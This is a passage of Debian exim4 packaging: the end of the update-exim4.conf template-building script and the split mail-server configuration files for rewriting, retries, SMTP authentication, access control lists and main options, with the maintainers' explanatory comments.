LC_COLLATE LC_ALL if [ -z "$1" ]; then errormessage "$0: internal run_parts called without an argument" fi if [ ! -d "$1" ]; then errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory." fi for F in $(ls $1 | grep -v /.svn); do if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then if [ -f "$1/$F" ] ; then if [ -f "$1/${F}.rul" ] ; then echo "$1/${F}.rul" else echo "$1/$F" fi fi fi done; } # also from Branden errormessage () { # pretty-print messages of arbitrary length (no trailing newline) echo "$*" | fold -s -w ${COLUMNS:-80} >&2; } cat_parts() { if [ -z "$1" ]; then errormessage "$0: internal cat_parts called without an argument" fi if [ ! -d "$1" ]; then errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory." fi for file in $(run_parts $1); do echo "#####################################################" echo "### $file" echo "#####################################################" cat $file echo "#####################################################" echo "### end $file" echo "#####################################################" done } if [ "$DONOTRUN" = "true" ]; then errormessage "This program overwrites conffiles. Do not run unless you have consulted the manpage." >&2 echo "Terminating..." >&2 exit 1 fi if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ]; then if [ -e "${UPEX4CT_outputfile}.bak.$$" ]; then echo >&2 "ERR: ${UPEX4CT_outputfile}.bak.$$ already exists, aborting" exit 1 fi fi NEWTEMPLATE=$(tempfile -m644 -p ex4) if [ -f "${UPEX4CT_outputfile}" ] ; then chmod --reference="${UPEX4CT_outputfile}" "$NEWTEMPLATE" fi # generate .template. Ugly - better alternative? SAVEWD="$(pwd)" cd ${CONFDIR}/conf.d for i in main acl router transport retry rewrite auth ; do cat_parts $i done > "$NEWTEMPLATE" cd "$SAVEWD" if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ] ; then mv "${UPEX4CT_outputfile}" \ "${UPEX4CT_outputfile}.bak.$$" fi mv "$NEWTEMPLATE" "${UPEX4CT_outputfile}" debian/debconf/conf.d/0000755000000000000000000000000012027557533011746 5ustar debian/debconf/conf.d/rewrite/0000755000000000000000000000000012027557533013427 5ustar debian/debconf/conf.d/rewrite/31_exim4-config_rewriting0000644000000000000000000000107112027557533020237 0ustar ### rewrite/31_exim4-config_rewriting ################################# # This rewriting rule is particularily useful for dialup users who # don't have their own domain, but could be useful for anyone. # It looks up the real address of all local users in a file .ifndef NO_EAA_REWRITE_REWRITE *@+local_domains "${lookup{${local_part}}lsearch{/etc/email-addresses}\ {$value}fail}" Ffrs # identical rewriting rule for /etc/mailname *@ETC_MAILNAME "${lookup{${local_part}}lsearch{/etc/email-addresses}\ {$value}fail}" Ffrs .endif debian/debconf/conf.d/rewrite/00_exim4-config_header0000644000000000000000000000034612027557533017455 0ustar ###################################################################### # REWRITE CONFIGURATION # ###################################################################### begin rewrite debian/debconf/conf.d/retry/0000755000000000000000000000000012200230010013056 5ustar debian/debconf/conf.d/retry/00_exim4-config_header0000644000000000000000000000034412027557533017137 0ustar ###################################################################### # RETRY CONFIGURATION # ###################################################################### begin retry debian/debconf/conf.d/retry/30_exim4-config0000644000000000000000000000132612200230010015576 0ustar ### retry/30_exim4-config ################################# # This single retry rule applies to all domains and all errors. It specifies # retries every 15 minutes for 2 hours, then increasing retry intervals, # starting at 1 hour and increasing each time by a factor of 1.5, up to 16 # hours, then retries every 6 hours until 4 days have passed since the first # failed delivery. # Please note that these rules only limit the frequency of retries, the # effective retry-time depends on the frequency of queue-running, too. # See QUEUEINTERVAL in /etc/default/exim4. # Address or Domain Error Retries # ----------------- ----- ------- * * F,2h,15m; G,16h,1h,1.5; F,4d,6h debian/debconf/conf.d/auth/0000755000000000000000000000000012245437403012702 5ustar debian/debconf/conf.d/auth/30_exim4-config_examples0000644000000000000000000002256612245437403017331 0ustar ### auth/30_exim4-config_examples ################################# # The examples below are for server side authentication, when the # local exim is SMTP server and clients authenticate to the local exim. # They allow two styles of plain-text authentication against an # CONFDIR/passwd file whose syntax is described in exim4_passwd(5). # Hosts that are allowed to use AUTH are defined by the # auth_advertise_hosts option in the main configuration. The default is # "*", which allows authentication to all hosts over all kinds of # connections if there is at least one authenticator defined here. # Authenticators which rely on unencrypted clear text passwords don't # advertise on unencrypted connections by default. Thus, it might be # wise to set up TLS to allow encrypted connections. If TLS cannot be # used for some reason, you can set AUTH_SERVER_ALLOW_NOTLS_PASSWORDS to # advertise unencrypted clear text password based authenticators on all # connections. As this is severely reducing security, using TLS is # preferred over allowing clear text password based authenticators on # unencrypted connections. # PLAIN authentication has no server prompts. The client sends its # credentials in one lump, containing an authorization ID (which we do not # use), an authentication ID, and a password. The latter two appear as # $auth2 and $auth3 in the configuration and should be checked against a # valid username and password. In a real configuration you would typically # use $auth2 as a lookup key, and compare $auth3 against the result of the # lookup, perhaps using the crypteq{}{} condition. # plain_server: # driver = plaintext # public_name = PLAIN # server_condition = "${if crypteq{$auth3}{${extract{1}{:}{${lookup{$auth2}lsearch{CONFDIR/passwd}{$value}{*:*}}}}}{1}{0}}" # server_set_id = $auth2 # server_prompts = : # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # LOGIN authentication has traditional prompts and responses. There is no # authorization ID in this mechanism, so unlike PLAIN the username and # password are $auth1 and $auth2. Apart from that you can use the same # server_condition setting for both authenticators. # login_server: # driver = plaintext # public_name = LOGIN # server_prompts = "Username:: : Password::" # server_condition = "${if crypteq{$auth2}{${extract{1}{:}{${lookup{$auth1}lsearch{CONFDIR/passwd}{$value}{*:*}}}}}{1}{0}}" # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # # cram_md5_server: # driver = cram_md5 # public_name = CRAM-MD5 # server_secret = ${extract{2}{:}{${lookup{$auth1}lsearch{CONFDIR/passwd}{$value}fail}}} # server_set_id = $auth1 # Here is an example of CRAM-MD5 authentication against PostgreSQL: # # psqldb_auth_server: # driver = cram_md5 # public_name = CRAM-MD5 # server_secret = ${lookup pgsql{SELECT pw FROM users WHERE username = '${quote_pgsql:$auth1}'}{$value}fail} # server_set_id = $auth1 # Authenticate against local passwords using sasl2-bin # Requires exim_uid to be a member of sasl group, see README.Debian.gz # plain_saslauthd_server: # driver = plaintext # public_name = PLAIN # server_condition = ${if saslauthd{{$auth2}{$auth3}}{1}{0}} # server_set_id = $auth2 # server_prompts = : # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # # login_saslauthd_server: # driver = plaintext # public_name = LOGIN # server_prompts = "Username:: : Password::" # # don't send system passwords over unencrypted connections # server_condition = ${if saslauthd{{$auth1}{$auth2}}{1}{0}} # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # # ntlm_sasl_server: # driver = cyrus_sasl # public_name = NTLM # server_realm = # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # # digest_md5_sasl_server: # driver = cyrus_sasl # public_name = DIGEST-MD5 # server_realm = # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # Authentcate against cyrus-sasl # This is mainly untested, please report any problems to # pkg-exim4-users@lists.alioth.debian.org. # cram_md5_sasl_server: # driver = cyrus_sasl # public_name = CRAM-MD5 # server_realm = # server_set_id = $auth1 # # plain_sasl_server: # driver = cyrus_sasl # public_name = PLAIN # server_realm = # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # # login_sasl_server: # driver = cyrus_sasl # public_name = LOGIN # server_realm = # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # Authenticate against courier authdaemon # This is now the (working!) example from # http://www.exim.org/eximwiki/FAQ/Policy_controls/Q0730 # Possible pitfall: access rights on /var/run/courier/authdaemon/socket. # plain_courier_authdaemon: # driver = plaintext # public_name = PLAIN # server_condition = \ # ${extract {ADDRESS} \ # {${readsocket{/var/run/courier/authdaemon/socket} \ # {AUTH ${strlen:exim\nlogin\n$auth2\n$auth3\n}\nexim\nlogin\n$auth2\n$auth3\n} }} \ # {yes} \ # fail} # server_set_id = $auth2 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # login_courier_authdaemon: # driver = plaintext # public_name = LOGIN # server_prompts = Username:: : Password:: # server_condition = \ # ${extract {ADDRESS} \ # {${readsocket{/var/run/courier/authdaemon/socket} \ # {AUTH ${strlen:exim\nlogin\n$auth1\n$auth2\n}\nexim\nlogin\n$auth1\n$auth2\n} }} \ # {yes} \ # fail} # server_set_id = $auth1 # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif # This one is a bad hack to support the broken version 4.xx of # Microsoft Outlook Express which violates the RFCs by demanding # "250-AUTH=" instead of "250-AUTH ". # If your list of offered authenticators is other than PLAIN and LOGIN, # you need to adapt the public_name line manually. # It has to be the last authenticator to work and has not been tested # well. Use at your own risk. # See the thread entry point from # http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050214/msg00213.html # for the related discussion on the exim-users mailing list. # Thanks to Fred Viles for this great work. # support_broken_outlook_express_4_server: # driver = plaintext # public_name = "\r\n250-AUTH=PLAIN LOGIN" # server_prompts = User Name : Password # server_condition = no # .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS # server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}} # .endif ############## # See /usr/share/doc/exim4-base/README.Debian.gz ############## # These examples below are the equivalent for client side authentication. # They get the passwords from CONFDIR/passwd.client, whose format is # defined in exim4_passwd_client(5) # Because AUTH PLAIN and AUTH LOGIN send the password in clear, we # only allow these mechanisms over encrypted connections by default. # You can set AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS to allow unencrypted # clear text password authentication on all connections. cram_md5: driver = cram_md5 public_name = CRAM-MD5 client_name = ${extract{1}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}} client_secret = ${extract{2}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}} # this returns the matching line from passwd.client and doubles all ^ PASSWDLINE=${sg{\ ${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}\ }\ {\\N[\\^]\\N}\ {^^}\ } plain: driver = plaintext public_name = PLAIN .ifndef AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS client_send = "<; ${if !eq{$tls_out_cipher}{}\ {^${extract{1}{:}{PASSWDLINE}}\ ^${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}\ }fail}" .else client_send = "<; ^${extract{1}{:}{PASSWDLINE}}\ ^${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}" .endif login: driver = plaintext public_name = LOGIN .ifndef AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS # Return empty string if not non-TLS AND looking up $host in passwd-file # yields a non-empty string; fail otherwise. client_send = "<; ${if and{\ {!eq{$tls_out_cipher}{}}\ {!eq{PASSWDLINE}{}}\ }\ {}fail}\ ; ${extract{1}{::}{PASSWDLINE}}\ ; ${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}" .else # Return empty string if looking up $host in passwd-file yields a # non-empty string; fail otherwise. client_send = "<; ${if !eq{PASSWDLINE}{}\ {}fail}\ ; ${extract{1}{::}{PASSWDLINE}}\ ; ${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}" .endif debian/debconf/conf.d/auth/00_exim4-config_header0000644000000000000000000000035612027557533016736 0ustar ###################################################################### # AUTHENTICATION CONFIGURATION # ###################################################################### begin authenticators debian/debconf/conf.d/acl/0000755000000000000000000000000012200230010012450 5ustar debian/debconf/conf.d/acl/30_exim4-config_check_mail0000644000000000000000000000063612027557533017367 0ustar ### acl/30_exim4-config_check_mail ################################# # This access control list is used for every MAIL command in an incoming # SMTP message. The tests are run in order until the address is either # accepted or denied. # acl_check_mail: .ifdef CHECK_MAIL_HELO_ISSUED deny message = no HELO given before MAIL command condition = ${if def:sender_helo_name {no}{yes}} .endif accept debian/debconf/conf.d/acl/00_exim4-config_header0000644000000000000000000000045112027557533016530 0ustar ###################################################################### # ACL CONFIGURATION # # Specifies access control lists for incoming SMTP mail # ###################################################################### begin acl debian/debconf/conf.d/acl/30_exim4-config_check_rcpt0000644000000000000000000003475512200230010017371 0ustar ### acl/30_exim4-config_check_rcpt ################################# # This access control list is used for every RCPT command in an incoming # SMTP message. The tests are run in order until the address is either # accepted or denied. # acl_check_rcpt: # Accept if the source is local SMTP (i.e. not over TCP/IP). We do this by # testing for an empty sending host field. accept hosts = : control = dkim_disable_verify # Do not try to verify DKIM signatures of incoming mail if DC_minimaldns # or DISABLE_DKIM_VERIFY are set. .ifdef DC_minimaldns warn control = dkim_disable_verify .else .ifdef DISABLE_DKIM_VERIFY warn control = dkim_disable_verify .endif .endif # The following section of the ACL is concerned with local parts that contain # certain non-alphanumeric characters. Dots in unusual places are # handled by this ACL as well. # # Non-alphanumeric characters other than dots are rarely found in genuine # local parts, but are often tried by people looking to circumvent # relaying restrictions. Therefore, although they are valid in local # parts, these rules disallow certain non-alphanumeric characters, as # a precaution. # # Empty components (two dots in a row) are not valid in RFC 2822, but Exim # allows them because they have been encountered. (Consider local parts # constructed as "firstinitial.secondinitial.familyname" when applied to # a name without a second initial.) However, a local part starting # with a dot or containing /../ can cause trouble if it is used as part of a # file name (e.g. for a mailing list). This is also true for local parts that # contain slashes. A pipe symbol can also be troublesome if the local part is # incorporated unthinkingly into a shell command line. # # These ACL components will block recipient addresses that are valid # from an RFC2822 point of view. We chose to have them blocked by # default for security reasons. # # If you feel that your site should have less strict recipient # checking, please feel free to change the default values of the macros # defined in main/01_exim4-config_listmacrosdefs or override them from a # local configuration file. # # Two different rules are used. The first one has a quite strict # default, and is applied to messages that are addressed to one of the # local domains handled by this host. # The default value of CHECK_RCPT_LOCAL_LOCALPARTS is defined in # main/01_exim4-config_listmacrosdefs: # CHECK_RCPT_LOCAL_LOCALPARTS = ^[.] : ^.*[@%!/|`#&?] # This blocks local parts that begin with a dot or contain a quite # broad range of non-alphanumeric characters. .ifdef CHECK_RCPT_LOCAL_LOCALPARTS deny domains = +local_domains local_parts = CHECK_RCPT_LOCAL_LOCALPARTS message = restricted characters in address .endif # The second rule applies to all other domains, and its default is # considerably less strict. # The default value of CHECK_RCPT_REMOTE_LOCALPARTS is defined in # main/01_exim4-config_listmacrosdefs: # CHECK_RCPT_REMOTE_LOCALPARTS = ^[./|] : ^.*[@%!`#&?] : ^.*/\\.\\./ # It allows local users to send outgoing messages to sites # that use slashes and vertical bars in their local parts. It blocks # local parts that begin with a dot, slash, or vertical bar, but allows # these characters within the local part. However, the sequence /../ is # barred. The use of some other non-alphanumeric characters is blocked. # Single quotes might probably be dangerous as well, but they're # allowed by the default regexps to avoid rejecting mails to Ireland. # The motivation here is to prevent local users (or local users' malware) # from mounting certain kinds of attack on remote sites. .ifdef CHECK_RCPT_REMOTE_LOCALPARTS deny domains = !+local_domains local_parts = CHECK_RCPT_REMOTE_LOCALPARTS message = restricted characters in address .endif # Accept mail to postmaster in any local domain, regardless of the source, # and without verifying the sender. # accept .ifndef CHECK_RCPT_POSTMASTER local_parts = postmaster .else local_parts = CHECK_RCPT_POSTMASTER .endif domains = +local_domains : +relay_to_domains # Deny unless the sender address can be verified. # # This is disabled by default so that DNSless systems don't break. If # your system can do DNS lookups without delay or cost, you might want # to enable this feature. # # This feature does not work in smarthost and satellite setups as # with these setups all domains pass verification. See spec.txt chapter # 39.31 with the added information that a smarthost/satellite setup # routes all non-local e-mail to the smarthost. .ifdef CHECK_RCPT_VERIFY_SENDER deny message = Sender verification failed !acl = acl_local_deny_exceptions !verify = sender .endif # Verify senders listed in local_sender_callout with a callout. # # In smarthost and satellite setups, this causes the callout to be # done to the smarthost. Verification will thus only be reliable if the # smarthost does reject illegal addresses in the SMTP dialog. deny !acl = acl_local_deny_exceptions senders = ${if exists{CONFDIR/local_sender_callout}\ {CONFDIR/local_sender_callout}\ {}} !verify = sender/callout # Accept if the message comes from one of the hosts for which we are an # outgoing relay. It is assumed that such hosts are most likely to be MUAs, # so we set control=submission to make Exim treat the message as a # submission. It will fix up various errors in the message, for example, the # lack of a Date: header line. If you are actually relaying out out from # MTAs, you may want to disable this. If you are handling both relaying from # MTAs and submissions from MUAs you should probably split them into two # lists, and handle them differently. # Recipient verification is omitted here, because in many cases the clients # are dumb MUAs that don't cope well with SMTP error responses. If you are # actually relaying out from MTAs, you should probably add recipient # verification here. # Note that, by putting this test before any DNS black list checks, you will # always accept from these hosts, even if they end up on a black list. The # assumption is that they are your friends, and if they get onto black # list, it is a mistake. accept hosts = +relay_from_hosts control = submission/sender_retain control = dkim_disable_verify # Accept if the message arrived over an authenticated connection, from # any host. Again, these messages are usually from MUAs, so recipient # verification is omitted, and submission mode is set. And again, we do this # check before any black list tests. accept authenticated = * control = submission/sender_retain control = dkim_disable_verify # Insist that any other recipient address that we accept is either in one of # our local domains, or is in a domain for which we explicitly allow # relaying. Any other domain is rejected as being unacceptable for relaying. require message = relay not permitted domains = +local_domains : +relay_to_domains # We also require all accepted addresses to be verifiable. This check will # do local part verification for local domains, but only check the domain # for remote domains. require verify = recipient # Verify recipients listed in local_rcpt_callout with a callout. # This is especially handy for forwarding MX hosts (secondary MX or # mail hubs) of domains that receive a lot of spam to non-existent # addresses. The only way to check local parts for remote relay # domains is to use a callout (add /callout), but please read the # documentation about callouts before doing this. deny !acl = acl_local_deny_exceptions recipients = ${if exists{CONFDIR/local_rcpt_callout}\ {CONFDIR/local_rcpt_callout}\ {}} !verify = recipient/callout # CONFDIR/local_sender_blacklist holds a list of envelope senders that # should have their access denied to the local host. Incoming messages # with one of these senders are rejected at RCPT time. # # The explicit white lists are honored as well as negative items in # the black list. See exim4-config_files(5) for details. deny message = sender envelope address $sender_address is locally blacklisted here. If you think this is wrong, get in touch with postmaster !acl = acl_local_deny_exceptions senders = ${if exists{CONFDIR/local_sender_blacklist}\ {CONFDIR/local_sender_blacklist}\ {}} # deny bad sites (IP address) # CONFDIR/local_host_blacklist holds a list of host names, IP addresses # and networks (CIDR notation) that should have their access denied to # The local host. Messages coming in from a listed host will have all # RCPT statements rejected. # # The explicit white lists are honored as well as negative items in # the black list. See exim4-config_files(5) for details. deny message = sender IP address $sender_host_address is locally blacklisted here. If you think this is wrong, get in touch with postmaster !acl = acl_local_deny_exceptions hosts = ${if exists{CONFDIR/local_host_blacklist}\ {CONFDIR/local_host_blacklist}\ {}} # Warn if the sender host does not have valid reverse DNS. # # If your system can do DNS lookups without delay or cost, you might want # to enable this. # If sender_host_address is defined, it's a remote call. If # sender_host_name is not defined, then reverse lookup failed. Use # this instead of !verify = reverse_host_lookup to catch deferrals # as well as outright failures. .ifdef CHECK_RCPT_REVERSE_DNS warn condition = ${if and{{def:sender_host_address}{!def:sender_host_name}}\ {yes}{no}} add_header = X-Host-Lookup-Failed: Reverse DNS lookup failed for $sender_host_address (${if eq{$host_lookup_failed}{1}{failed}{deferred}}) .endif # Use spfquery to perform a pair of SPF checks (for details, see # http://www.openspf.org/) # # This is quite costly in terms of DNS lookups (~6 lookups per mail). Do not # enable if that's an issue. Also note that if you enable this, you must # install "spf-tools-perl" which provides the spfquery command. # Missing spf-tools-perl will trigger the "Unexpected error in # SPF check" warning. .ifdef CHECK_RCPT_SPF deny message = [SPF] $sender_host_address is not allowed to send mail from \ ${if def:sender_address_domain {$sender_address_domain}{$sender_helo_name}}. \ Please see \ http://www.openspf.org/Why?scope=${if def:sender_address_domain \ {mfrom}{helo}};identity=${if def:sender_address_domain \ {$sender_address}{$sender_helo_name}};ip=$sender_host_address log_message = SPF check failed. !acl = acl_local_deny_exceptions condition = ${run{/usr/bin/spfquery.mail-spf-perl --ip \ ${quote:$sender_host_address} --identity \ ${if def:sender_address_domain \ {--scope mfrom --identity ${quote:$sender_address}}\ {--scope helo --identity ${quote:$sender_helo_name}}}}\ {no}{${if eq {$runrc}{1}{yes}{no}}}} defer message = Temporary DNS error while checking SPF record. Try again later. !acl = acl_local_deny_exceptions condition = ${if eq {$runrc}{5}{yes}{no}} warn condition = ${if <={$runrc}{6}{yes}{no}} add_header = Received-SPF: ${if eq {$runrc}{0}{pass}\ {${if eq {$runrc}{2}{softfail}\ {${if eq {$runrc}{3}{neutral}\ {${if eq {$runrc}{4}{permerror}\ {${if eq {$runrc}{6}{none}{error}}}}}}}}}\ } client-ip=$sender_host_address; \ ${if def:sender_address_domain \ {envelope-from=${sender_address}; }{}}\ helo=$sender_helo_name warn log_message = Unexpected error in SPF check. condition = ${if >{$runrc}{6}{yes}{no}} .endif # Check against classic DNS "black" lists (DNSBLs) which list # sender IP addresses .ifdef CHECK_RCPT_IP_DNSBLS warn dnslists = CHECK_RCPT_IP_DNSBLS add_header = X-Warning: $sender_host_address is listed at $dnslist_domain ($dnslist_value: $dnslist_text) log_message = $sender_host_address is listed at $dnslist_domain ($dnslist_value: $dnslist_text) .endif # Check against DNSBLs which list sender domains, with an option to locally # whitelist certain domains that might be blacklisted. # # Note: If you define CHECK_RCPT_DOMAIN_DNSBLS, you must append # "/$sender_address_domain" after each domain. For example: # CHECK_RCPT_DOMAIN_DNSBLS = rhsbl.foo.org/$sender_address_domain \ # : rhsbl.bar.org/$sender_address_domain .ifdef CHECK_RCPT_DOMAIN_DNSBLS warn !senders = ${if exists{CONFDIR/local_domain_dnsbl_whitelist}\ {CONFDIR/local_domain_dnsbl_whitelist}\ {}} dnslists = CHECK_RCPT_DOMAIN_DNSBLS add_header = X-Warning: $sender_address_domain is listed at $dnslist_domain ($dnslist_value: $dnslist_text) log_message = $sender_address_domain is listed at $dnslist_domain ($dnslist_value: $dnslist_text) .endif # This hook allows you to hook in your own ACLs without having to # modify this file. If you do it like we suggest, you'll end up with # a small performance penalty since there is an additional file being # accessed. This doesn't happen if you leave the macro unset. .ifdef CHECK_RCPT_LOCAL_ACL_FILE .include CHECK_RCPT_LOCAL_ACL_FILE .endif ############################################################################# # This check is commented out because it is recognized that not every # sysadmin will want to do it. If you enable it, the check performs # Client SMTP Authorization (csa) checks on the sending host. These checks # do DNS lookups for SRV records. The CSA proposal is currently (May 2005) # an Internet draft. You can, of course, add additional conditions to this # ACL statement to restrict the CSA checks to certain hosts only. # # require verify = csa ############################################################################# # Accept if the address is in a domain for which we are an incoming relay, # but again, only if the recipient can be verified. accept domains = +relay_to_domains endpass verify = recipient # At this point, the address has passed all the checks that have been # configured, so we accept it unconditionally. accept debian/debconf/conf.d/acl/40_exim4-config_check_data0000644000000000000000000000475012200230010017323 0ustar ### acl/40_exim4-config_check_data ################################# # This ACL is used after the contents of a message have been received. This # is the ACL in which you can test a message's headers or body, and in # particular, this is where you can invoke external virus or spam scanners. acl_check_data: # Deny unless the address list headers are syntactically correct. # # If you enable this, you might reject legitimate mail. .ifdef CHECK_DATA_VERIFY_HEADER_SYNTAX deny message = Message headers fail syntax check !acl = acl_local_deny_exceptions !verify = header_syntax .endif # require that there is a verifiable sender address in at least # one of the "Sender:", "Reply-To:", or "From:" header lines. .ifdef CHECK_DATA_VERIFY_HEADER_SENDER deny message = No verifiable sender address in message headers !acl = acl_local_deny_exceptions !verify = header_sender .endif # Deny if the message contains malware. Before enabling this check, you # must install a virus scanner and set the av_scanner option in the # main configuration. # # exim4-daemon-heavy must be used for this section to work. # # deny # malware = * # message = This message was detected as possible malware ($malware_name). # Add headers to a message if it is judged to be spam. Before enabling this, # you must install SpamAssassin. You also need to set the spamd_address # option in the main configuration. # # exim4-daemon-heavy must be used for this section to work. # # Please note that this is only suiteable as an example. There are # multiple issues with this configuration method. For example, if you go # this way, you'll give your spamassassin daemon write access to the # entire exim spool which might be a security issue in case of a # spamassassin exploit. # # See the exim docs and the exim wiki for more suitable examples. # # warn # spam = Debian-exim:true # add_header = X-Spam_score: $spam_score\n\ # X-Spam_score_int: $spam_score_int\n\ # X-Spam_bar: $spam_bar\n\ # X-Spam_report: $spam_report # This hook allows you to hook in your own ACLs without having to # modify this file. If you do it like we suggest, you'll end up with # a small performance penalty since there is an additional file being # accessed. This doesn't happen if you leave the macro unset. .ifdef CHECK_DATA_LOCAL_ACL_FILE .include CHECK_DATA_LOCAL_ACL_FILE .endif # accept otherwise accept debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions0000644000000000000000000000333712027557533021662 0ustar ### acl/20_exim4-config_local_deny_exceptions ################################# # This is used to determine whitelisted senders and hosts. # It checks for CONFDIR/host_local_deny_exceptions and # CONFDIR/sender_local_deny_exceptions. # # It is meant to be used from some other acl entry. # # See exim4-config_files(5) for details. # # If the files do not exist, the white list never matches, which is # the desired behaviour. # # The old file names CONFDIR/local_host_whitelist and # CONFDIR/local_sender_whitelist will continue to be honored for a # transition period. Their use is deprecated. acl_local_deny_exceptions: accept hosts = ${if exists{CONFDIR/host_local_deny_exceptions}\ {CONFDIR/host_local_deny_exceptions}\ {}} accept senders = ${if exists{CONFDIR/sender_local_deny_exceptions}\ {CONFDIR/sender_local_deny_exceptions}\ {}} accept hosts = ${if exists{CONFDIR/local_host_whitelist}\ {CONFDIR/local_host_whitelist}\ {}} accept senders = ${if exists{CONFDIR/local_sender_whitelist}\ {CONFDIR/local_sender_whitelist}\ {}} # This hook allows you to hook in your own ACLs without having to # modify this file. If you do it like we suggest, you'll end up with # a small performance penalty since there is an additional file being # accessed. This doesn't happen if you leave the macro unset. .ifdef LOCAL_DENY_EXCEPTIONS_LOCAL_ACL_FILE .include LOCAL_DENY_EXCEPTIONS_LOCAL_ACL_FILE .endif # this is still supported for a transition period and is deprecated. .ifdef WHITELIST_LOCAL_DENY_LOCAL_ACL_FILE .include WHITELIST_LOCAL_DENY_LOCAL_ACL_FILE .endif debian/debconf/conf.d/main/0000755000000000000000000000000012200230010012635 5ustar debian/debconf/conf.d/main/90_exim4-config_log_selector0000644000000000000000000000035512027557533020162 0ustar ### main/90_exim4-config_log_selector ################################# # uncomment this for debugging # MAIN_LOG_SELECTOR == MAIN_LOG_SELECTOR +all -subject -arguments .ifdef MAIN_LOG_SELECTOR log_selector = MAIN_LOG_SELECTOR .endif debian/debconf/conf.d/main/02_exim4-config_options0000644000000000000000000001704012671566564017175 0ustar ### main/02_exim4-config_options ################################# # Defines the access control list that is run when an # SMTP MAIL command is received. # .ifndef MAIN_ACL_CHECK_MAIL MAIN_ACL_CHECK_MAIL = acl_check_mail .endif acl_smtp_mail = MAIN_ACL_CHECK_MAIL # Defines the access control list that is run when an # SMTP RCPT command is received. # .ifndef MAIN_ACL_CHECK_RCPT MAIN_ACL_CHECK_RCPT = acl_check_rcpt .endif acl_smtp_rcpt = MAIN_ACL_CHECK_RCPT # Defines the access control list that is run when an # SMTP DATA command is received. # .ifndef MAIN_ACL_CHECK_DATA MAIN_ACL_CHECK_DATA = acl_check_data .endif acl_smtp_data = MAIN_ACL_CHECK_DATA # Message size limit. The default (used when MESSAGE_SIZE_LIMIT # is unset) is 50 MB .ifdef MESSAGE_SIZE_LIMIT message_size_limit = MESSAGE_SIZE_LIMIT .endif # If you are running exim4-daemon-heavy or a custom version of Exim that # was compiled with the content-scanning extension, you can cause incoming # messages to be automatically scanned for viruses. You have to modify the # configuration in two places to set this up. The first of them is here, # where you define the interface to your scanner. This example is typical # for ClamAV; see the manual for details of what to set for other virus # scanners. The second modification is in the acl_check_data access # control list. # av_scanner = clamd:/var/run/clamav/clamd.ctl # For spam scanning, there is a similar option that defines the interface to # SpamAssassin. You do not need to set this if you are using the default, which # is shown in this commented example. As for virus scanning, you must also # modify the acl_check_data access control list to enable spam scanning. # spamd_address = 127.0.0.1 783 # Domain used to qualify unqualified recipient addresses # If this option is not set, the qualify_domain value is used. # qualify_recipient = # Allow Exim to recognize addresses of the form "user@[10.11.12.13]", # where the domain part is a "domain literal" (an IP address) instead # of a named domain. The RFCs require this facility, but it is disabled # in the default config since it is seldomly used and frequently abused. # Domain literal support also needs a special router, which is automatically # enabled if you use the enable macro MAIN_ALLOW_DOMAIN_LITERALS. # Additionally, you might want to make your local IP addresses (or @[]) # local domains. .ifdef MAIN_ALLOW_DOMAIN_LITERALS allow_domain_literals .endif # Do a reverse DNS lookup on all incoming IP calls, in order to get the # true host name. If you feel this is too expensive, the networks for # which a lookup is done can be listed here. .ifndef DC_minimaldns .ifndef MAIN_HOST_LOOKUP MAIN_HOST_LOOKUP = * .endif host_lookup = MAIN_HOST_LOOKUP .endif # In a minimaldns setup, update-exim4.conf guesses the hostname and # dumps it here to avoid DNS lookups being done at Exim run time. .ifdef MAIN_HARDCODE_PRIMARY_HOSTNAME primary_hostname = MAIN_HARDCODE_PRIMARY_HOSTNAME .endif # The settings below, which are actually the same as the defaults in the # code, cause Exim to make RFC 1413 (ident) callbacks for all incoming SMTP # calls. You can limit the hosts to which these calls are made, and/or change # the timeout that is used. If you set the timeout to zero, all RFC 1413 calls # are disabled. RFC 1413 calls are cheap and can provide useful information # for tracing problem messages, but some hosts and firewalls are # misconfigured to drop the requests instead of either answering or # rejecting them. This can result in a timeout instead of an immediate refused # connection, 